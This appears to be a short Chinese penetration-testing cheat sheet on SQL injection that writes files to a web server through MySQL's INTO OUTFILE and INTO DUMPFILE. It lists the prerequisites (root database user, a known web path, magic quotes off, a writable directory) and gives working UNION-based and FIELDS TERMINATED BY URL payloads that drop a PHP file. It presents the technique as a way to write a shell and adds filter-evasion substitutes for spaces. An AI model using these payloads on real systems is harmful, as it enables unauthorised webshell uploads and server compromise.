利用条件
过滤了单引号into outfile还能用吗?不能,GPC要off才行,可以测试Hex编码
- 数据库当前用户为 root 权限
- 知道当前网站的绝对路径
- PHP 的
GPC
为 off 状态(魔术引号,GET,POST,Cookie)- 写入的那个路径存在写入权限
基于 UNION 联合查询
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23
非联合查询
当我们无法使用联合查询时,我们可以使用 fields terminated by 与 lines terminated by 来写 shell
?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
代替空格的方法+
、%0a
、%0b
、%a0
、/**/
注释符等